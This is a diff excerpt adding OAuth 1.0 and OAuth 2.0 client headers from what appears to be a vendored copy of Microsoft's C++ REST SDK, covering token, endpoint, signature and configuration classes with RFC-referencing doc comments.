/// temporary token. The authorization URI build based on this token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Authorization URI to be loaded in a web browser/view.</returns>
|
||||||
|
_ASYNCRTIMP pplx::task<utility::string_t> build_authorization_uri();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fetch an access token based on redirected URI.
|
||||||
|
/// The URI is expected to contain 'oauth_verifier'
|
||||||
|
/// parameter, which is then used to fetch an access token using the
|
||||||
|
/// token_from_verifier() method.
|
||||||
|
/// See: http://tools.ietf.org/html/rfc5849#section-2.2
|
||||||
|
/// The received 'oauth_token' is parsed and verified to match the current token().
|
||||||
|
/// When access token is successfully obtained, set_token() is called, and config is
|
||||||
|
/// ready for use by oauth1_handler.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="redirected_uri">The URI where web browser/view was redirected after resource owner's
|
||||||
|
/// authorization.</param> <returns>Task that fetches the access token based on redirected URI.</returns>
|
||||||
|
_ASYNCRTIMP pplx::task<void> token_from_redirected_uri(const web::http::uri& redirected_uri);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a task with HTTP request to fetch an access token from the token endpoint.
|
||||||
|
/// The request exchanges a verifier code to an access token.
|
||||||
|
/// If successful, the resulting token is set as active via set_token().
|
||||||
|
/// See: http://tools.ietf.org/html/rfc5849#section-2.3
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="verifier">Verifier received via redirect upon successful authorization.</param>
|
||||||
|
/// <returns>Task that fetches the access token based on the verifier.</returns>
|
||||||
|
pplx::task<void> token_from_verifier(utility::string_t verifier)
|
||||||
|
{
|
||||||
|
return _request_token(_generate_auth_state(details::oauth1_strings::verifier, std::move(verifier)), false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a task with HTTP request to fetch an access token from the token endpoint.
|
||||||
|
/// If successful, the resulting token is set as active via set_token().
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Task that fetches the access token based on the verifier.</returns>
|
||||||
|
pplx::task<void> refresh_token(const utility::string_t& key)
|
||||||
|
{
|
||||||
|
return _request_token(_generate_auth_state(key, m_token.additional_parameters().at(key)), false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get consumer key used in authorization and authentication.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Consumer key string.</returns>
|
||||||
|
const utility::string_t& consumer_key() const { return m_consumer_key; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set consumer key used in authorization and authentication.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="key">Consumer key string to set.</param>
|
||||||
|
void set_consumer_key(utility::string_t key) { m_consumer_key = std::move(key); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get consumer secret used in authorization and authentication.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Consumer secret string.</returns>
|
||||||
|
const utility::string_t& consumer_secret() const { return m_consumer_secret; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set consumer secret used in authorization and authentication.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="secret">Consumer secret string to set.</param>
|
||||||
|
void set_consumer_secret(utility::string_t secret) { m_consumer_secret = std::move(secret); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get temporary token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Temporary token endpoint URI string.</returns>
|
||||||
|
const utility::string_t& temp_endpoint() const { return m_temp_endpoint; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set temporary token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="temp_endpoint">Temporary token endpoint URI string to set.</param>
|
||||||
|
void set_temp_endpoint(utility::string_t temp_endpoint) { m_temp_endpoint = std::move(temp_endpoint); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get authorization endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Authorization endpoint URI string.</returns>
|
||||||
|
const utility::string_t& auth_endpoint() const { return m_auth_endpoint; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set authorization endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="auth_endpoint">Authorization endpoint URI string to set.</param>
|
||||||
|
void set_auth_endpoint(utility::string_t auth_endpoint) { m_auth_endpoint = std::move(auth_endpoint); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token endpoint URI string.</returns>
|
||||||
|
const utility::string_t& token_endpoint() const { return m_token_endpoint; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="token_endpoint">Token endpoint URI string to set.</param>
|
||||||
|
void set_token_endpoint(utility::string_t token_endpoint) { m_token_endpoint = std::move(token_endpoint); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get callback URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Callback URI string.</returns>
|
||||||
|
const utility::string_t& callback_uri() const { return m_callback_uri; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set callback URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="callback_uri">Callback URI string to set.</param>
|
||||||
|
void set_callback_uri(utility::string_t callback_uri) { m_callback_uri = std::move(callback_uri); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token.</returns>
|
||||||
|
_ASYNCRTIMP const oauth1_token& token() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="token">Token to set.</param>
|
||||||
|
void set_token(oauth1_token token)
|
||||||
|
{
|
||||||
|
m_token = std::move(token);
|
||||||
|
m_is_authorization_completed = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get signature method.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Signature method.</returns>
|
||||||
|
const oauth1_method& method() const { return m_method; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set signature method.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="method">Signature method.</param>
|
||||||
|
void set_method(oauth1_method method) { m_method = std::move(method); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get authentication realm.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Authentication realm string.</returns>
|
||||||
|
const utility::string_t& realm() const { return m_realm; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set authentication realm.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="realm">Authentication realm string to set.</param>
|
||||||
|
void set_realm(utility::string_t realm) { m_realm = std::move(realm); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns enabled state of the configuration.
|
||||||
|
/// The oauth1_handler will perform OAuth 1.0 authentication only if
|
||||||
|
/// this method returns true.
|
||||||
|
/// Return value is true if access token is valid (=fetched or manually set)
|
||||||
|
/// and both consumer_key() and consumer_secret() are set (=non-empty).
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The configuration enabled state.</returns>
|
||||||
|
bool is_enabled() const
|
||||||
|
{
|
||||||
|
return token().is_valid_access_token() && !(consumer_key().empty() || consumer_secret().empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Builds signature base string according to:
|
||||||
|
// http://tools.ietf.org/html/rfc5849#section-3.4.1.1
|
||||||
|
_ASYNCRTIMP utility::string_t _build_signature_base_string(http_request request, details::oauth1_state state) const;
|
||||||
|
|
||||||
|
// Builds HMAC-SHA1 signature according to:
|
||||||
|
// http://tools.ietf.org/html/rfc5849#section-3.4.2
|
||||||
|
utility::string_t _build_hmac_sha1_signature(http_request request, details::oauth1_state state) const
|
||||||
|
{
|
||||||
|
auto text(_build_signature_base_string(std::move(request), std::move(state)));
|
||||||
|
auto digest(_hmac_sha1(_build_key(), std::move(text)));
|
||||||
|
auto signature(utility::conversions::to_base64(std::move(digest)));
|
||||||
|
return signature;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Builds PLAINTEXT signature according to:
|
||||||
|
// http://tools.ietf.org/html/rfc5849#section-3.4.4
|
||||||
|
utility::string_t _build_plaintext_signature() const { return _build_key(); }
|
||||||
|
|
||||||
|
details::oauth1_state _generate_auth_state(utility::string_t extra_key, utility::string_t extra_value)
|
||||||
|
{
|
||||||
|
return details::oauth1_state(
|
||||||
|
_generate_timestamp(), _generate_nonce(), std::move(extra_key), std::move(extra_value));
|
||||||
|
}
|
||||||
|
|
||||||
|
details::oauth1_state _generate_auth_state()
|
||||||
|
{
|
||||||
|
return details::oauth1_state(_generate_timestamp(), _generate_nonce());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets map of parameters to sign.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Map of parameters.</returns>
|
||||||
|
const std::map<utility::string_t, utility::string_t>& parameters() const { return m_parameters_to_sign; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a key value parameter.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="key">Key as a string value.</param>
|
||||||
|
/// <param name="value">Value as a string value.</param>
|
||||||
|
void add_parameter(const utility::string_t& key, const utility::string_t& value)
|
||||||
|
{
|
||||||
|
m_parameters_to_sign[key] = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a key value parameter.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="key">Key as a string value.</param>
|
||||||
|
/// <param name="value">Value as a string value.</param>
|
||||||
|
void add_parameter(utility::string_t&& key, utility::string_t&& value)
|
||||||
|
{
|
||||||
|
m_parameters_to_sign[std::move(key)] = std::move(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets entire map or parameters replacing all previously values.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="parameters">Map of values.</param>
|
||||||
|
void set_parameters(const std::map<utility::string_t, utility::string_t>& parameters)
|
||||||
|
{
|
||||||
|
m_parameters_to_sign.clear();
|
||||||
|
m_parameters_to_sign = parameters;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clears all parameters.
|
||||||
|
/// </summary>
|
||||||
|
void clear_parameters() { m_parameters_to_sign.clear(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the web proxy object.</returns>
|
||||||
|
const web_proxy& proxy() const { return m_proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the web proxy object that will be used by token_from_code and token_from_refresh
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="proxy">A reference to the web proxy object.</param>
|
||||||
|
void set_proxy(const web_proxy& proxy) { m_proxy = proxy; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class web::http::client::http_client_config;
|
||||||
|
friend class web::http::oauth1::details::oauth1_handler;
|
||||||
|
|
||||||
|
oauth1_config() : m_is_authorization_completed(false) {}
|
||||||
|
|
||||||
|
utility::string_t _generate_nonce() { return m_nonce_generator.generate(); }
|
||||||
|
|
||||||
|
static utility::string_t _generate_timestamp()
|
||||||
|
{
|
||||||
|
return utility::conversions::details::to_string_t(utility::datetime::utc_timestamp());
|
||||||
|
}
|
||||||
|
|
||||||
|
_ASYNCRTIMP static std::vector<unsigned char> __cdecl _hmac_sha1(const utility::string_t& key,
|
||||||
|
const utility::string_t& data);
|
||||||
|
|
||||||
|
static utility::string_t _build_base_string_uri(const uri& u);
|
||||||
|
|
||||||
|
utility::string_t _build_normalized_parameters(web::http::uri u, const details::oauth1_state& state) const;
|
||||||
|
|
||||||
|
utility::string_t _build_signature(http_request request, details::oauth1_state state) const;
|
||||||
|
|
||||||
|
utility::string_t _build_key() const
|
||||||
|
{
|
||||||
|
return uri::encode_data_string(consumer_secret()) + _XPLATSTR("&") + uri::encode_data_string(m_token.secret());
|
||||||
|
}
|
||||||
|
|
||||||
|
void _authenticate_request(http_request& req) { _authenticate_request(req, _generate_auth_state()); }
|
||||||
|
|
||||||
|
_ASYNCRTIMP void _authenticate_request(http_request& req, details::oauth1_state state);
|
||||||
|
|
||||||
|
_ASYNCRTIMP pplx::task<void> _request_token(details::oauth1_state state, bool is_temp_token_request);
|
||||||
|
|
||||||
|
utility::string_t m_consumer_key;
|
||||||
|
utility::string_t m_consumer_secret;
|
||||||
|
oauth1_token m_token;
|
||||||
|
|
||||||
|
utility::string_t m_temp_endpoint;
|
||||||
|
utility::string_t m_auth_endpoint;
|
||||||
|
utility::string_t m_token_endpoint;
|
||||||
|
utility::string_t m_callback_uri;
|
||||||
|
utility::string_t m_realm;
|
||||||
|
oauth1_method m_method;
|
||||||
|
|
||||||
|
std::map<utility::string_t, utility::string_t> m_parameters_to_sign;
|
||||||
|
|
||||||
|
web::web_proxy m_proxy;
|
||||||
|
|
||||||
|
utility::nonce_generator m_nonce_generator;
|
||||||
|
bool m_is_authorization_completed;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace experimental
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class oauth1_handler : public http_pipeline_stage
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth1_handler(std::shared_ptr<experimental::oauth1_config> cfg) : m_config(std::move(cfg)) {}
|
||||||
|
|
||||||
|
virtual pplx::task<http_response> propagate(http_request request) override
|
||||||
|
{
|
||||||
|
if (m_config)
|
||||||
|
{
|
||||||
|
m_config->_authenticate_request(request);
|
||||||
|
}
|
||||||
|
return next_stage()->propagate(request);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<experimental::oauth1_config> m_config;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace oauth1
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,540 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: Oauth 2.0
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_OAUTH2_H
|
||||||
|
#define CASA_OAUTH2_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/web_utilities.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_msg.h"
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
// Forward declaration to avoid circular include dependency.
|
||||||
|
class http_client_config;
|
||||||
|
} // namespace client
|
||||||
|
|
||||||
|
/// oAuth 2.0 library.
|
||||||
|
namespace oauth2
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class oauth2_handler;
|
||||||
|
|
||||||
|
// Constant strings for OAuth 2.0.
|
||||||
|
typedef utility::string_t oauth2_string;
|
||||||
|
class oauth2_strings
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
#define _OAUTH2_STRINGS
|
||||||
|
#define DAT(a_, b_) _ASYNCRTIMP static const oauth2_string a_;
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/http_constants.dat"
|
||||||
|
#undef _OAUTH2_STRINGS
|
||||||
|
#undef DAT
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// oAuth functionality is currently in beta.
|
||||||
|
namespace experimental
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Exception type for OAuth 2.0 errors.
|
||||||
|
/// </summary>
|
||||||
|
class oauth2_exception : public std::exception
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth2_exception(utility::string_t msg) : m_msg(utility::conversions::to_utf8string(std::move(msg))) {}
|
||||||
|
~oauth2_exception() CPPREST_NOEXCEPT {}
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return m_msg.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::string m_msg;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// OAuth 2.0 token and associated information.
|
||||||
|
/// </summary>
|
||||||
|
class oauth2_token
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Value for undefined expiration time in expires_in().
|
||||||
|
/// </summary>
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
undefined_expiration = -1
|
||||||
|
};
|
||||||
|
|
||||||
|
oauth2_token(utility::string_t access_token = utility::string_t())
|
||||||
|
: m_access_token(std::move(access_token)), m_expires_in(undefined_expiration)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get access token validity state.
|
||||||
|
/// If true, access token is a valid.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Access token validity state.</returns>
|
||||||
|
bool is_valid_access_token() const { return !access_token().empty(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Access token string.</returns>
|
||||||
|
const utility::string_t& access_token() const { return m_access_token; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="access_token">Access token string to set.</param>
|
||||||
|
void set_access_token(utility::string_t access_token) { m_access_token = std::move(access_token); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get refresh token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Refresh token string.</returns>
|
||||||
|
const utility::string_t& refresh_token() const { return m_refresh_token; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set refresh token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="refresh_token">Refresh token string to set.</param>
|
||||||
|
void set_refresh_token(utility::string_t refresh_token) { m_refresh_token = std::move(refresh_token); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token type.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token type string.</returns>
|
||||||
|
const utility::string_t& token_type() const { return m_token_type; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set token type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="token_type">Token type string to set.</param>
|
||||||
|
void set_token_type(utility::string_t token_type) { m_token_type = std::move(token_type); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token scope.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token scope string.</returns>
|
||||||
|
const utility::string_t& scope() const { return m_scope; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set token scope.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="scope">Token scope string to set.</param>
|
||||||
|
void set_scope(utility::string_t scope) { m_scope = std::move(scope); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the lifetime of the access token in seconds.
|
||||||
|
/// For example, 3600 means the access token will expire in one hour from
|
||||||
|
/// the time when access token response was generated by the authorization server.
|
||||||
|
/// Value of undefined_expiration means expiration time is either
|
||||||
|
/// unset or that it was not returned by the server with the access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Lifetime of the access token in seconds or undefined_expiration if not set.</returns>
|
||||||
|
int64_t expires_in() const { return m_expires_in; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set lifetime of access token (in seconds).
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="expires_in">Lifetime of access token in seconds.</param>
|
||||||
|
void set_expires_in(int64_t expires_in) { m_expires_in = expires_in; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
utility::string_t m_access_token;
|
||||||
|
utility::string_t m_refresh_token;
|
||||||
|
utility::string_t m_token_type;
|
||||||
|
utility::string_t m_scope;
|
||||||
|
int64_t m_expires_in;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// OAuth 2.0 configuration.
|
||||||
|
///
|
||||||
|
/// Encapsulates functionality for:
|
||||||
|
/// - Authenticating requests with an access token.
|
||||||
|
/// - Performing the OAuth 2.0 authorization code grant authorization flow.
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-4.1
|
||||||
|
/// - Performing the OAuth 2.0 implicit grant authorization flow.
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-4.2
|
||||||
|
///
|
||||||
|
/// Performing OAuth 2.0 authorization:
|
||||||
|
/// 1. Set service and client/app parameters:
|
||||||
|
/// - Client/app key & secret (as provided by the service).
|
||||||
|
/// - The service authorization endpoint and token endpoint.
|
||||||
|
/// - Your client/app redirect URI.
|
||||||
|
/// - Use set_state() to assign a unique state string for the authorization
|
||||||
|
/// session (default: "").
|
||||||
|
/// - If needed, use set_bearer_auth() to control bearer token passing in either
|
||||||
|
/// query or header (default: header). See: http://tools.ietf.org/html/rfc6750#section-2
|
||||||
|
/// - If needed, use set_access_token_key() to set "non-standard" access token
|
||||||
|
/// key (default: "access_token").
|
||||||
|
/// - If needed, use set_implicit_grant() to enable implicit grant flow.
|
||||||
|
/// 2. Build authorization URI with build_authorization_uri() and open this in web browser/control.
|
||||||
|
/// 3. The resource owner should then clicks "Yes" to authorize your client/app, and
|
||||||
|
/// as a result the web browser/control is redirected to redirect_uri().
|
||||||
|
/// 5. Capture the redirected URI either in web control or by HTTP listener.
|
||||||
|
/// 6. Pass the redirected URI to token_from_redirected_uri() to obtain access token.
|
||||||
|
/// - The method ensures redirected URI contains same state() as set in step 1.
|
||||||
|
/// - In implicit_grant() is false, this will create HTTP request to fetch access token
|
||||||
|
/// from the service. Otherwise access token is already included in the redirected URI.
|
||||||
|
///
|
||||||
|
/// Usage for issuing authenticated requests:
|
||||||
|
/// 1. Perform authorization as above to obtain the access token or use an existing token.
|
||||||
|
/// - Some services provide option to generate access tokens for testing purposes.
|
||||||
|
/// 2. Pass the resulting oauth2_config with the access token to http_client_config::set_oauth2().
|
||||||
|
/// 3. Construct http_client with this http_client_config. As a result, all HTTP requests
|
||||||
|
/// by that client will be OAuth 2.0 authenticated.
|
||||||
|
///
|
||||||
|
/// </summary>
|
||||||
|
class oauth2_config
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth2_config(utility::string_t client_key,
|
||||||
|
utility::string_t client_secret,
|
||||||
|
utility::string_t auth_endpoint,
|
||||||
|
utility::string_t token_endpoint,
|
||||||
|
utility::string_t redirect_uri,
|
||||||
|
utility::string_t scope = utility::string_t(),
|
||||||
|
utility::string_t user_agent = utility::string_t())
|
||||||
|
: m_client_key(std::move(client_key))
|
||||||
|
, m_client_secret(std::move(client_secret))
|
||||||
|
, m_auth_endpoint(std::move(auth_endpoint))
|
||||||
|
, m_token_endpoint(std::move(token_endpoint))
|
||||||
|
, m_redirect_uri(std::move(redirect_uri))
|
||||||
|
, m_scope(std::move(scope))
|
||||||
|
, m_user_agent(std::move(user_agent))
|
||||||
|
, m_implicit_grant(false)
|
||||||
|
, m_bearer_auth(true)
|
||||||
|
, m_http_basic_auth(true)
|
||||||
|
, m_access_token_key(details::oauth2_strings::access_token)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Builds an authorization URI to be loaded in the web browser/view.
|
||||||
|
/// The URI is built with auth_endpoint() as basis.
|
||||||
|
/// The implicit_grant() affects the built URI by selecting
|
||||||
|
/// either authorization code or implicit grant flow.
|
||||||
|
/// You can set generate_state to generate a new random state string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="generate_state">If true, a new random state() string is generated
|
||||||
|
/// which replaces the current state(). If false, state() is unchanged and used as-is.</param>
|
||||||
|
/// <returns>Authorization URI string.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t build_authorization_uri(bool generate_state);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fetch an access token (and possibly a refresh token) based on redirected URI.
|
||||||
|
/// Behavior depends on the implicit_grant() setting.
|
||||||
|
/// If implicit_grant() is false, the URI is parsed for 'code'
|
||||||
|
/// parameter, and then token_from_code() is called with this code.
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-4.1
|
||||||
|
/// Otherwise, redirect URI fragment part is parsed for 'access_token'
|
||||||
|
/// parameter, which directly contains the token(s).
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-4.2
|
||||||
|
/// In both cases, the 'state' parameter is parsed and is verified to match state().
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="redirected_uri">The URI where web browser/view was redirected after resource owner's
|
||||||
|
/// authorization.</param> <returns>Task that fetches the token(s) based on redirected URI.</returns>
|
||||||
|
_ASYNCRTIMP pplx::task<void> token_from_redirected_uri(const web::http::uri& redirected_uri);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fetches an access token (and possibly a refresh token) from the token endpoint.
|
||||||
|
/// The task creates an HTTP request to the token_endpoint() which exchanges
|
||||||
|
/// the authorization code for the token(s).
|
||||||
|
/// This also sets the refresh token if one was returned.
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-4.1.3
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="authorization_code">Code received via redirect upon successful authorization.</param>
|
||||||
|
/// <returns>Task that fetches token(s) based on the authorization code.</returns>
|
||||||
|
pplx::task<void> token_from_code(utility::string_t authorization_code)
|
||||||
|
{
|
||||||
|
uri_builder ub;
|
||||||
|
ub.append_query(details::oauth2_strings::grant_type, details::oauth2_strings::authorization_code, false);
|
||||||
|
ub.append_query(details::oauth2_strings::code, uri::encode_data_string(std::move(authorization_code)), false);
|
||||||
|
ub.append_query(details::oauth2_strings::redirect_uri, uri::encode_data_string(redirect_uri()), false);
|
||||||
|
return _request_token(ub);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Fetches a new access token (and possibly a new refresh token) using the refresh token.
|
||||||
|
/// The task creates a HTTP request to the token_endpoint().
|
||||||
|
/// If successful, resulting access token is set as active via set_token().
|
||||||
|
/// See: http://tools.ietf.org/html/rfc6749#section-6
|
||||||
|
/// This also sets a new refresh token if one was returned.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Task that fetches the token(s) using the refresh token.</returns>
|
||||||
|
pplx::task<void> token_from_refresh()
|
||||||
|
{
|
||||||
|
uri_builder ub;
|
||||||
|
ub.append_query(details::oauth2_strings::grant_type, details::oauth2_strings::refresh_token, false);
|
||||||
|
ub.append_query(
|
||||||
|
details::oauth2_strings::refresh_token, uri::encode_data_string(token().refresh_token()), false);
|
||||||
|
return _request_token(ub);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns enabled state of the configuration.
|
||||||
|
/// The oauth2_handler will perform OAuth 2.0 authentication only if
|
||||||
|
/// this method returns true.
|
||||||
|
/// Return value is true if access token is valid (=fetched or manually set).
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The configuration enabled state.</returns>
|
||||||
|
bool is_enabled() const { return token().is_valid_access_token(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get client key.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Client key string.</returns>
|
||||||
|
const utility::string_t& client_key() const { return m_client_key; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set client key.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client_key">Client key string to set.</param>
|
||||||
|
void set_client_key(utility::string_t client_key) { m_client_key = std::move(client_key); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get client secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Client secret string.</returns>
|
||||||
|
const utility::string_t& client_secret() const { return m_client_secret; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set client secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client_secret">Client secret string to set.</param>
|
||||||
|
void set_client_secret(utility::string_t client_secret) { m_client_secret = std::move(client_secret); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get authorization endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Authorization endpoint URI string.</returns>
|
||||||
|
const utility::string_t& auth_endpoint() const { return m_auth_endpoint; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set authorization endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="auth_endpoint">Authorization endpoint URI string to set.</param>
|
||||||
|
void set_auth_endpoint(utility::string_t auth_endpoint) { m_auth_endpoint = std::move(auth_endpoint); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token endpoint URI string.</returns>
|
||||||
|
const utility::string_t& token_endpoint() const { return m_token_endpoint; }
|
||||||
|
/// <summary>
|
||||||
|
/// Set token endpoint URI string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="token_endpoint">Token endpoint URI string to set.</param>
|
||||||
|
